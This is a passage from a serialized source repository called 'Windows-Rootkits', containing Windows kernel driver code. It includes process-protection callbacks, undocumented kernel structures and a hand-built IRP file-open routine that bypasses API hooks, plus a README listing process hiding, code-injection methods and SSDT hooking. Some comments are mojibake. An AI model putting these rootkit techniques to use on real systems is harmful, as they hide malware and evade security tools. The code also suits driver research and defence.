communications between USER and KERNEL.\r\n*\r\n****************************************************************************************\r\n* Copyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#ifndef CXX_PROTECTPROCESSX64_H\r\n#define CXX_PROTECTPROCESSX64_H\r\n\r\n#include \r\n\r\n#define PROCESS_TERMINATE 0x0001 \r\n#define PROCESS_VM_OPERATION 0x0008 \r\n#define PROCESS_VM_READ 0x0010 \r\n#define PROCESS_VM_WRITE 0x0020 \r\n\r\nNTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString);\r\n\r\nVOID DriverUnload(IN PDRIVER_OBJECT pDriverObj);\r\n\r\ntypedef struct _LDR_DATA_TABLE_ENTRY64\r\n{\r\n LIST_ENTRY64 InLoadOrderLinks;\r\n LIST_ENTRY64 InMemoryOrderLinks;\r\n LIST_ENTRY64 InInitializationOrderLinks;\r\n PVOID DllBase;\r\n PVOID EntryPoint;\r\n ULONG SizeOfImage;\r\n UNICODE_STRING FullDllName;\r\n UNICODE_STRING BaseDllName;\r\n ULONG Flags;\r\n USHORT LoadCount;\r\n USHORT TlsIndex;\r\n PVOID SectionPointer;\r\n ULONG CheckSum;\r\n PVOID LoadedImports;\r\n PVOID EntryPointActivationContext;\r\n PVOID PatchInformation;\r\n LIST_ENTRY64 ForwarderLinks;\r\n LIST_ENTRY64 ServiceTagLinks;\r\n LIST_ENTRY64 StaticLinks;\r\n PVOID ContextInformation;\r\n ULONG64 OriginalBase;\r\n LARGE_INTEGER LoadTime;\r\n} LDR_DATA_TABLE_ENTRY64, *PLDR_DATA_TABLE_ENTRY64;\r\n\r\nextern \r\n UCHAR *\r\n PsGetProcessImageFileName(\r\n __in PEPROCESS Process\r\n );\r\nchar*\r\n GetProcessImageNameByProcessID(ULONG ulProcessID);\r\n\r\nNTSTATUS ProtectProcess(BOOLEAN Enable);\r\n\r\nOB_PREOP_CALLBACK_STATUS \r\n preCall(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION pOperationInformation);\r\n\r\n#endif " }, { "path": "ProtectProcessx64/ProtectProcessx64.sln", "content": "Microsoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"ProtectProcessx64\", \"ProtectProcessx64.vcxproj\", \"{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tWinDDK|Win32 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.Build.0 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "ProtectProcessx64/ProtectProcessx64.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n \r\n {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\r\n Win32Proj\r\n \"ProtectProcessx64\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "ProtectProcessx64/ReadMe.txt", "content": "Protect Process in Windows 7 by ObRegisterCallbacks\n" }, { "path": "ProtectProcessx64/common.h", "content": "/**************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2016-5-7\r\n* MODULE : common.h\r\n*\r\n* Command: \r\n* IOCTRL Common Header\r\n*\r\n* Description:\r\n* Common data for the IoCtrl driver and application\r\n*\r\n****************************************************************************************\r\n* Copyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once \r\n\r\n//#######################################################################################\r\n// D E F I N E S\r\n//#######################################################################################\r\n\r\n#if DBG\r\n#define dprintf DbgPrint\r\n#else\r\n#define dprintf\r\n#endif\r\n\r\n//ַ֧û\r\n#define DEVICE_NAME L\"\\\\Device\\\\devProtectProcessx64\" // Driver Name\r\n#define SYMBOLIC_LINK_NAME L\"\\\\DosDevices\\\\ProtectProcessx64\" // Symbolic Link Name\r\n#define WIN32_LINK_NAME \"\\\\\\\\.\\\\ProtectProcessx64\" // Win32 Link Name\r\n\r\n//ַ֧û\r\n#define SYMBOLIC_LINK_GLOBAL_NAME L\"\\\\DosDevices\\\\Global\\\\ProtectProcessx64\" // Symbolic Link Name\r\n\r\n#define DATA_TO_APP \"Hello World from Driver\"\r\n\r\n//\r\n// Device IO Control Codes\r\n//\r\n#define IOCTL_BASE 0x800\r\n#define MY_CTL_CODE(i) \\\r\n CTL_CODE \\\r\n ( \\\r\n FILE_DEVICE_UNKNOWN, \\\r\n IOCTL_BASE + i, \\\r\n METHOD_BUFFERED, \\\r\n FILE_ANY_ACCESS \\\r\n )\r\n\r\n#define IOCTL_HELLO_WORLD MY_CTL_CODE(0)\r\n#define IOCTRL_REC_FROM_APP MY_CTL_CODE(1)\r\n#define IOCTRL_SEND_TO_APP MY_CTL_CODE(2)\r\n\r\n\r\n//\r\n// TODO: Add your IOCTL define here\r\n//\r\n\r\n\r\n\r\n//\r\n// TODO: Add your struct,enum(public) define here\r\n//\r\n\r\n\r\n\r\n/* EOF */\r\n\r\n" }, { "path": "ProtectProcessx64/sources", "content": "TARGETNAME=ProtectProcessx64\r\n#TARGETPATH=$(BASEDIR)\\lib\r\nTARGETPATH=obj\r\nTARGETTYPE=DRIVER\r\n\r\nINCLUDES=.\\\r\n\r\nSOURCES=ProtectProcessx64.c\r\n\r\n" }, { "path": "ProtectProcessx64/struct.h", "content": "/***************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2016-5-7\r\n* MODULE : struct.h\r\n* \r\n* Command: \r\n* ͷļ\r\n*\r\n* Description:\r\n* һЩ,ظͶ; ڴҪĺ/ṹ\r\n*\r\n****************************************************************************************\r\n\r\nCopyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once\r\n\r\n#include \r\n\r\ntypedef long LONG;\r\ntypedef unsigned char BOOL, *PBOOL;\r\ntypedef unsigned char BYTE, *PBYTE;\r\ntypedef unsigned long DWORD, *PDWORD;\r\ntypedef unsigned short WORD, *PWORD;\r\n\r\ntypedef void *HMODULE;\r\ntypedef long NTSTATUS, *PNTSTATUS;\r\ntypedef unsigned long DWORD;\r\ntypedef DWORD * PDWORD;\r\ntypedef unsigned long ULONG;\r\ntypedef unsigned long ULONG_PTR;\r\ntypedef ULONG *PULONG;\r\ntypedef unsigned short WORD;\r\ntypedef unsigned char BYTE; \r\ntypedef unsigned char UCHAR;\r\ntypedef unsigned short USHORT;\r\ntypedef void *PVOID;\r\ntypedef BYTE BOOLEAN;\r\n#define SEC_IMAGE 0x01000000\r\n\r\n//----------------------------------------------------\r\n\r\n// PEB\r\n \r\n#pragma pack(4)\r\ntypedef struct _PEB_LDR_DATA\r\n{\r\n ULONG Length;\r\n BOOLEAN Initialized;\r\n PVOID SsHandle;\r\n LIST_ENTRY InLoadOrderModuleList;\r\n LIST_ENTRY InMemoryOrderModuleList;\r\n LIST_ENTRY InInitializationOrderModuleList;\r\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\r\n#pragma pack() \r\n\r\ntypedef struct _PEB_ORIG {\r\n BYTE Reserved1[2];\r\n BYTE BeingDebugged;\r\n BYTE Reserved2[229];\r\n PVOID Reserved3[59];\r\n ULONG SessionId;\r\n} PEB_ORIG, *PPEB_ORIG;\r\n\r\ntypedef void (*PPEBLOCKROUTINE)(PVOID PebLock);\r\n\r\nstruct _PEB_FREE_BLOCK {\r\n struct _PEB_FREE_BLOCK *Next;\r\n ULONG Size;\r\n};\r\ntypedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;\r\ntypedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;\r\n\r\ntypedef struct _RTL_DRIVE_LETTER_CURDIR {\r\n USHORT Flags;\r\n USHORT Length;\r\n ULONG TimeStamp;\r\n UNICODE_STRING DosPath;\r\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\r\n\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS {\r\n ULONG MaximumLength;\r\n ULONG Length;\r\n ULONG Flags;\r\n ULONG DebugFlags;\r\n PVOID ConsoleHandle;\r\n ULONG ConsoleFlags;\r\n HANDLE StdInputHandle;\r\n HANDLE StdOutputHandle;\r\n HANDLE StdErrorHandle;\r\n UNICODE_STRING CurrentDirectoryPath;\r\n HANDLE CurrentDirectoryHandle;\r\n UNICODE_STRING DllPath;\r\n UNICODE_STRING ImagePathName;\r\n UNICODE_STRING CommandLine;\r\n PVOID Environment;\r\n ULONG StartingPositionLeft;\r\n ULONG StartingPositionTop;\r\n ULONG Width;\r\n ULONG Height;\r\n ULONG CharWidth;\r\n ULONG CharHeight;\r\n ULONG ConsoleTextAttributes;\r\n ULONG WindowFlags;\r\n ULONG ShowWindowFlags;\r\n UNICODE_STRING WindowTitle;\r\n UNICODE_STRING DesktopName;\r\n UNICODE_STRING ShellInfo;\r\n UNICODE_STRING RuntimeData;\r\n RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];\r\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\r\n\r\ntypedef struct _PEB {\r\n BOOLEAN InheritedAddressSpace;\r\n BOOLEAN ReadImageFileExecOptions;\r\n BOOLEAN BeingDebugged;\r\n BOOLEAN Spare;\r\n HANDLE Mutant;\r\n PVOID ImageBaseAddress;\r\n PPEB_LDR_DATA LoaderData;\r\n PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n PVOID SubSystemData;\r\n PVOID ProcessHeap;\r\n PVOID FastPebLock;\r\n PPEBLOCKROUTINE FastPebLockRoutine;\r\n PPEBLOCKROUTINE FastPebUnlockRoutine;\r\n ULONG EnvironmentUpdateCount;\r\n PVOID *KernelCallbackTable;\r\n PVOID EventLogSection;\r\n PVOID EventLog;\r\n PPEB_FREE_BLOCK FreeList;\r\n ULONG TlsExpansionCounter;\r\n PVOID TlsBitmap;\r\n ULONG TlsBitmapBits[0x2];\r\n PVOID ReadOnlySharedMemoryBase;\r\n PVOID ReadOnlySharedMemoryHeap;\r\n PVOID *ReadOnlyStaticServerData;\r\n PVOID AnsiCodePageData;\r\n PVOID OemCodePageData;\r\n PVOID UnicodeCaseTableData;\r\n ULONG NumberOfProcessors;\r\n ULONG NtGlobalFlag;\r\n BYTE Spare2[0x4];\r\n LARGE_INTEGER CriticalSectionTimeout;\r\n ULONG HeapSegmentReserve;\r\n ULONG HeapSegmentCommit;\r\n ULONG HeapDeCommitTotalFreeThreshold;\r\n ULONG HeapDeCommitFreeBlockThreshold;\r\n ULONG NumberOfHeaps;\r\n ULONG MaximumNumberOfHeaps;\r\n PVOID **ProcessHeaps;\r\n PVOID GdiSharedHandleTable;\r\n PVOID ProcessStarterHelper;\r\n PVOID GdiDCAttributeList;\r\n PVOID LoaderLock;\r\n ULONG OSMajorVersion;\r\n ULONG OSMinorVersion;\r\n ULONG OSBuildNumber;\r\n ULONG OSPlatformId;\r\n ULONG ImageSubSystem;\r\n ULONG ImageSubSystemMajorVersion;\r\n ULONG ImageSubSystemMinorVersion;\r\n ULONG GdiHandleBuffer[0x22];\r\n ULONG PostProcessInitRoutine;\r\n ULONG TlsExpansionBitmap;\r\n BYTE TlsExpansionBitmapBits[0x80];\r\n ULONG SessionId;\r\n} PEB, *PPEB;\r\n\r\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\r\n ULONG NextEntryOffset;\r\n ULONG NumberOfThreads;\r\n LARGE_INTEGER SpareLi1;\r\n LARGE_INTEGER SpareLi2;\r\n LARGE_INTEGER SpareLi3;\r\n LARGE_INTEGER CreateTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER KernelTime;\r\n UNICODE_STRING ImageName;\r\n KPRIORITY BasePriority;\r\n HANDLE UniqueProcessId;\r\n HANDLE InheritedFromUniqueProcessId;\r\n ULONG HandleCount;\r\n ULONG SpareUl2;\r\n ULONG SpareUl3;\r\n ULONG PeakVirtualSize;\r\n ULONG VirtualSize;\r\n ULONG PageFaultCount;\r\n ULONG PeakWorkingSetSize;\r\n ULONG WorkingSetSize;\r\n ULONG QuotaPeakPagedPoolUsage;\r\n ULONG QuotaPagedPoolUsage;\r\n ULONG QuotaPeakNonPagedPoolUsage;\r\n ULONG QuotaNonPagedPoolUsage;\r\n ULONG PagefileUsage;\r\n ULONG PeakPagefileUsage;\r\n ULONG PrivatePageCount;\r\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_THREAD_INFORMATION {\r\n LARGE_INTEGER KernelTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER CreateTime;\r\n ULONG WaitTime;\r\n PVOID StartAddress;\r\n CLIENT_ID ClientId;\r\n KPRIORITY Priority;\r\n LONG BasePriority;\r\n ULONG ContextSwitches;\r\n ULONG ThreadState;\r\n ULONG WaitReason;\r\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\r\n\r\nstruct _SYSTEM_THREADS\r\n{\r\n LARGE_INTEGER KernelTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER CreateTime;\r\n ULONG WaitTime;\r\n PVOID StartAddress;\r\n CLIENT_ID ClientIs;\r\n KPRIORITY Priority;\r\n KPRIORITY BasePriority;\r\n ULONG ContextSwitchCount;\r\n ULONG ThreadState;\r\n KWAIT_REASON WaitReason;\r\n};\r\n\r\nstruct _SYSTEM_PROCESSES\r\n{\r\n ULONG NextEntryDelta;\r\n ULONG ThreadCount;\r\n ULONG Reserved[6];\r\n LARGE_INTEGER CreateTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER KernelTime;\r\n UNICODE_STRING ProcessName;\r\n KPRIORITY BasePriority;\r\n ULONG ProcessId;\r\n ULONG InheritedFromProcessId;\r\n ULONG HandleCount;\r\n ULONG Reserved2[2];\r\n VM_COUNTERS VmCounters;\r\n IO_COUNTERS IoCounters; //windows 2000 only\r\n struct _SYSTEM_THREADS Threads[1];\r\n};\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY_INFO\r\n{\r\n ULONG AuditMask;\r\n} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY\r\n{\r\n union\r\n {\r\n PVOID Object;\r\n ULONG_PTR ObAttributes;\r\n PHANDLE_TABLE_ENTRY_INFO InfoTable;\r\n ULONG_PTR Value;\r\n };\r\n union\r\n {\r\n ULONG GrantedAccess;\r\n struct\r\n {\r\n USHORT GrantedAccessIndex;\r\n USHORT CreatorBackTraceIndex;\r\n };\r\n LONG NextFreeTableEntry;\r\n };\r\n} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;\r\n\r\ntypedef struct _HANDLE_TABLE\r\n{\r\n ULONG TableCode;\r\n PEPROCESS QuotaProcess;\r\n PVOID UniqueProcessId;\r\n ULONG HandleTableLock[4];\r\n LIST_ENTRY HandleTableList;\r\n ULONG HandleContentionEvent;\r\n PVOID DebugInfo;\r\n LONG ExtraInfoPages;\r\n ULONG FirstFree;\r\n ULONG LastFree;\r\n ULONG NextHandleNeedingPool;\r\n LONG HandleCount;\r\n union\r\n {\r\n ULONG Flags;\r\n UCHAR StrictFIFO:1;\r\n };\r\n} HANDLE_TABLE, *PHANDLE_TABLE;\r\n\r\ntypedef struct _OBJECT_TYPE_INITIALIZER {\r\n USHORT Length;\r\n BOOLEAN UseDefaultObject;\r\n BOOLEAN CaseInsensitive;\r\n ULONG InvalidAttributes;\r\n GENERIC_MAPPING GenericMapping;\r\n ULONG ValidAccessMask;\r\n BOOLEAN SecurityRequired;\r\n BOOLEAN MaintainHandleCount;\r\n BOOLEAN MaintainTypeList;\r\n POOL_TYPE PoolType;\r\n ULONG DefaultPagedPoolCharge;\r\n ULONG DefaultNonPagedPoolCharge;\r\n PVOID DumpProcedure;\r\n PVOID OpenProcedure;\r\n PVOID CloseProcedure;\r\n PVOID DeleteProcedure;\r\n PVOID ParseProcedure;\r\n PVOID SecurityProcedure;\r\n PVOID QueryNameProcedure;\r\n PVOID OkayToCloseProcedure;\r\n} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;\r\n\r\n\r\ntypedef struct _OBJECT_TYPE {\r\n ERESOURCE Mutex;\r\n LIST_ENTRY TypeList;\r\n UNICODE_STRING Name; // Copy from object header for convenience\r\n PVOID DefaultObject;\r\n ULONG Index;\r\n ULONG TotalNumberOfObjects;\r\n ULONG TotalNumberOfHandles;\r\n ULONG HighWaterNumberOfObjects;\r\n ULONG HighWaterNumberOfHandles;\r\n OBJECT_TYPE_INITIALIZER TypeInfo;\r\n ULONG Key;\r\n ERESOURCE ObjectLocks[4];\r\n} OBJECT_TYPE, *POBJECT_TYPE;\r\n\r\ntypedef struct _OBJECT_DIRECTORY {\r\n struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];\r\n ULONG Lock;\r\n PVOID DeviceMap;\r\n ULONG SessionId;\r\n USHORT Reserved;\r\n USHORT SymbolicLinkUsageCount;\r\n} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;\r\n\r\n/*\r\ntypedef enum _KAPC_ENVIRONMENT {\r\n OriginalApcEnvironment,\r\n AttachedApcEnvironment,\r\n CurrentApcEnvironment,\r\n InsertApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n*/\r\n\r\ntypedef enum\r\n{\r\n OriginalApcEnvironment,\r\n AttachedApcEnvironment,\r\n CurrentApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n\r\n//----------------------------------------------------\r\n\r\nNTSYSAPI\r\nNTSTATUS\r\nNTAPI ZwQuerySystemInformation(\r\n IN ULONG SystemInformationClass,\r\n IN PVOID SystemInformation,\r\n IN ULONG SystemInformationLength,\r\n OUT PULONG ReturnLength);\r\n\r\n\r\n\r\nNTSTATUS\r\n NtOpenFile(\r\n OUT PHANDLE FileHandle,\r\n IN ACCESS_MASK DesiredAccess,\r\n IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n IN ULONG ShareAccess,\r\n IN ULONG OpenOptions\r\n );\r\n\r\nNTSTATUS \r\nZwOpenProcess(\r\n OUT PHANDLE ProcessHandle, \r\n IN ACCESS_MASK DesiredAccess, \r\n IN POBJECT_ATTRIBUTES ObjectAttributes, \r\n IN PCLIENT_ID ClientId\r\n );\r\n\r\nNTSTATUS\r\nPsLookupProcessByProcessId(\r\n IN HANDLE ProcessId,\r\n OUT PEPROCESS *Process\r\n );\r\n\r\nHANDLE\r\n PsGetProcessId(\r\n IN PEPROCESS Process\r\n );\r\n\r\nNTSTATUS\r\nRtlFormatCurrentUserKeyPath(\r\n OUT PUNICODE_STRING CurrentUserKeyPath\r\n );\r\n\r\nVOID KeAttachProcess( PEPROCESS proc );\r\nVOID KeDetachProcess();\r\n" }, { "path": "README.md", "content": "# Windows-Rootkits\n## CheckKernelEATHook\nReference [3600safeOpenSource](https://bbs.pediy.com/thread-150599.htm)\n\n## GetKernel32Addressx64\nx64 use asm\n\n## HideProcess\nHideProcess by Remove ProcessList in EPROCESS struct.\n\n## HookDeviceIocontrlFile\nReference [IOCTL Fuzzer v1.2](https://github.com/Cr4sh/ioctlfuzzer/tree/master/src)\n\n## Inject\n[atom-bombing-master](https://github.com/BreakingMalwareResearch/atom-bombing)
\n[herpaderping-main](https://github.com/jxy-s/herpaderping)
\n[Process-Hollowing](https://github.com/m0n0ph1/Process-Hollowing)
\n[ProcessDoppelgänging](https://github.com/Spajed/processrefund)
\n[ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection)
\nSetThreadContext to Inject support x64 and x86
\nSetWindowsHookEx to Inject
\nUserApcInject
\nExtraWindowInject
\nCreateRemoteThread
\n\n## LoadImageCallBack\nScan PE's IAT in PsSetLoadImageNotifyRoutine's callback\n\n## ProcessManager\nEnum Process By PsLookupProcessByProcessId/travel Active List/PspCidTable
\nHdie Process By Process Active List/PspCidTable
\nMonitor Process CreateInformation By PsSetCreateProcessNotifyRoutineEx
\n\n## ProtectFilex64\nProtect File in Windows 7 by ObRegisterCallbacks\n\n## ProtectFilex86\nHook NtSetInformationFile to change target file
\nHook NtWriteFile to write the target file
\nHook NtDeleteFile to delete the target file
\nbind keyboard Filter Driver to avoid \"ctrl+c\" copy the content\n\n## ProtectProcessx64\nProtect Process in Windows 7 by ObRegisterCallbacks\n\n## ReloadKernel-XP\nReference [3600safeOpenSource](https://bbs.pediy.com/thread-150599.htm)\n\n## SSDT-SSSDT-Manager\nCheck SSDT/ShadowSSDT Hook/InlineHook
\nResume SSDT/ShadowSSDT Hook/InlineHook\n\n## ZwQueryVirtualMemory\nEnum Module By NtQueryVirtualMemory\n" }, { "path": "ReloadKernel-XP/ReadMe.txt", "content": "Load ntoskrnl.exe to replace ServiceDescriptorTable\n" }, { "path": "ReloadKernel-XP/ReloadKernel/FileSystem.c", "content": "#include \"FileSystem.h\"\r\n\r\n\r\n\r\n\r\n/*ļ൱ԼʵIoCreateFile FileObjectеIrpListѭָ*/\r\nNTSTATUS\r\n IrpCreateFile(\r\n IN PUNICODE_STRING FilePath,\r\n IN ACCESS_MASK DesiredAccess,\r\n IN ULONG FileAttributes,\r\n IN ULONG ShareAccess,\r\n IN ULONG CreateDisposition,\r\n IN ULONG CreateOptions,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n IN PDEVICE_OBJECT RealDevice,\r\n OUT PFILE_OBJECT *FileObject\r\n )\r\n{\r\n NTSTATUS ntStatus;\r\n\r\n HANDLE hFile;\r\n PFILE_OBJECT _FileObject;\r\n UNICODE_STRING UniDeviceNameString;\r\n OBJECT_ATTRIBUTES ObjectAttributes;\r\n IO_STATUS_BLOCK IoStatusBlock;\r\n WCHAR *FileNameBuffer=NULL;\r\n WORD FileObjectSize;\r\n\r\n\r\n PIRP Irp;\r\n KEVENT kEvent;\r\n PIO_STACK_LOCATION IrpSp;\r\n ACCESS_STATE AccessState;\r\n AUX_ACCESS_DATA AuxData;\r\n IO_SECURITY_CONTEXT SecurityContext;\r\n\r\n PLIST_ENTRY IrpList;\r\n\r\n InitializeObjectAttributes(&ObjectAttributes, NULL, OBJ_CASE_INSENSITIVE, 0, NULL);\r\n\r\n //in win7 x86\r\n FileObjectSize=0x80;\r\n\r\n\r\n //ļ\r\n ntStatus = ObCreateObject(KernelMode,\r\n *IoFileObjectType,\r\n &ObjectAttributes,\r\n KernelMode,\r\n NULL,\r\n FileObjectSize,\r\n 0,\r\n 0,\r\n &_FileObject);\r\n\r\n if(!NT_SUCCESS(ntStatus))\r\n {\r\n return ntStatus;\r\n }\r\n\r\n Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE); //Irpջڴռ СΪ֮ǰѯDeviceObject->Size\r\n if(Irp == NULL)\r\n {\r\n ObDereferenceObject(_FileObject);\r\n return STATUS_INSUFFICIENT_RESOURCES;\r\n }\r\n\r\n KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE);\r\n\r\n RtlZeroMemory(_FileObject, FileObjectSize);\r\n _FileObject->Type = IO_TYPE_FILE; //ļ\r\n _FileObject->Size = FileObjectSize; //ļС\r\n _FileObject->DeviceObject = RealDevice; //ѯľ豸\r\n _FileObject->Flags = FO_SYNCHRONOUS_IO;\r\n FileNameBuffer=ExAllocatePool(NonPagedPool,FilePath->MaximumLength);\r\n if (FileNameBuffer==NULL)\r\n {\r\n ObDereferenceObject(_FileObject);\r\n return STATUS_INSUFFICIENT_RESOURCES;\r\n }\r\n RtlCopyMemory(FileNameBuffer,FilePath->Buffer,FilePath->Length);//ļеļ· \r\n _FileObject->FileName.Buffer=FileNameBuffer; //\r\n _FileObject->FileName.Length=FilePath->Length;\r\n _FileObject->FileName.MaximumLength=FilePath->MaximumLength;\r\n\r\n\r\n IrpList=(PLIST_ENTRY)((DWORD)FileObject+0x74); //IrpList ѭָ\r\n IrpList->Flink=IrpList;\r\n IrpList->Blink=IrpList;\r\n\r\n KeInitializeEvent(&_FileObject->Lock, SynchronizationEvent, FALSE);\r\n KeInitializeEvent(&_FileObject->Event, NotificationEvent, FALSE);\r\n\r\n RtlZeroMemory(&AuxData, sizeof(AUX_ACCESS_DATA));\r\n ntStatus = SeCreateAccessState( &AccessState, //Ȩ\r\n &AuxData,\r\n DesiredAccess,\r\n IoGetFileObjectGenericMapping());\r\n\r\n if (!NT_SUCCESS(ntStatus))\r\n {\r\n IoFreeIrp(Irp);\r\n ObDereferenceObject(_FileObject);\r\n ExFreePool(FileNameBuffer);\r\n return ntStatus;\r\n }\r\n\r\n SecurityContext.SecurityQos = NULL;\r\n SecurityContext.AccessState = &AccessState;\r\n SecurityContext.DesiredAccess = DesiredAccess;\r\n SecurityContext.FullCreateOptions = 0;\r\n\r\n Irp->MdlAddress = NULL;\r\n Irp->AssociatedIrp.SystemBuffer = NULL;\r\n Irp->Flags = IRP_CREATE_OPERATION|IRP_SYNCHRONOUS_API;\r\n Irp->RequestorMode = KernelMode;\r\n Irp->UserIosb = &IoStatusBlock;\r\n Irp->UserEvent = &kEvent;\r\n Irp->PendingReturned = FALSE;\r\n Irp->Cancel = FALSE;\r\n Irp->CancelRoutine = NULL;\r\n Irp->Tail.Overlay.Thread = PsGetCurrentThread();\r\n Irp->Tail.Overlay.AuxiliaryBuffer = NULL;\r\n Irp->Tail.Overlay.OriginalFileObject = _FileObject;\r\n\r\n IrpSp = IoGetNextIrpStackLocation(Irp);\r\n IrpSp->MajorFunction = IRP_MJ_CREATE;\r\n IrpSp->DeviceObject = DeviceObject;\r\n IrpSp->FileObject = _FileObject;\r\n IrpSp->Parameters.Create.SecurityContext = &SecurityContext;\r\n IrpSp->Parameters.Create.Options = (CreateDisposition << 24) | CreateOptions;\r\n IrpSp->Parameters.Create.FileAttributes = (USHORT)FileAttributes;\r\n IrpSp->Parameters.Create.ShareAccess = (USHORT)ShareAccess;\r\n IrpSp->Parameters.Create.EaLength = 0;\r\n\r\n IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE);\r\n ntStatus = IoCallDriver(DeviceObject, Irp);\r\n if(ntStatus == STATUS_PENDING)\r\n KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0);\r\n\r\n ntStatus = IoStatusBlock.Status;\r\n\r\n if(!NT_SUCCESS(ntStatus))\r\n {\r\n _FileObject->DeviceObject = NULL;\r\n ObDereferenceObject(_FileObject);\r\n\r\n }\r\n else\r\n {//ü\r\n InterlockedIncrement(&_FileObject->DeviceObject->ReferenceCount);\r\n if (_FileObject->Vpb)\r\n InterlockedIncrement(&_FileObject->Vpb->ReferenceCount);\r\n *FileObject = _FileObject;\r\n }\r\n\r\n\r\n return ntStatus;\r\n}\r\n\r\n\r\n\r\n\r\nNTSTATUS\r\n IoCompletionRoutine(\r\n IN PDEVICE_OBJECT DeviceObject,\r\n IN PIRP Irp,\r\n IN PVOID Context)\r\n{\r\n *Irp->UserIosb = Irp->IoStatus;\r\n if (Irp->UserEvent)\r\n KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);\r\n if (Irp->MdlAddress)\r\n {\r\n IoFreeMdl(Irp->MdlAddress);\r\n Irp->MdlAddress = NULL;\r\n }\r\n IoFreeIrp(Irp);\r\n return STATUS_MORE_PROCESSING_REQUIRED;\r\n}\r\n\r\n\r\n\r\n\r\n//ѯirpջϢFileObject\r\nNTSTATUS\r\n IrpQueryInformationFile(\r\n IN PFILE_OBJECT FileObject,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n OUT PVOID FileInformation,\r\n IN ULONG Length,\r\n IN FILE_INFORMATION_CLASS FileInformationClass)\r\n{\r\n NTSTATUS ntStatus;\r\n PIRP Irp;\r\n KEVENT kEvent;\r\n PIO_STACK_LOCATION IrpSp;\r\n IO_STATUS_BLOCK IoStatusBlock;\r\n\r\n // if (FileObject->Vpb == 0 || FileObject->Vpb->DeviceObject == NULL)\r\n // return STATUS_UNSUCCESSFUL;\r\n\r\n Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE);\r\n if(Irp == NULL) \r\n return STATUS_INSUFFICIENT_RESOURCES;\r\n\r\n KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE);\r\n\r\n RtlZeroMemory(FileInformation, Length);\r\n Irp->AssociatedIrp.SystemBuffer = FileInformation;\r\n Irp->UserEvent = &kEvent;\r\n Irp->UserIosb = &IoStatusBlock;\r\n 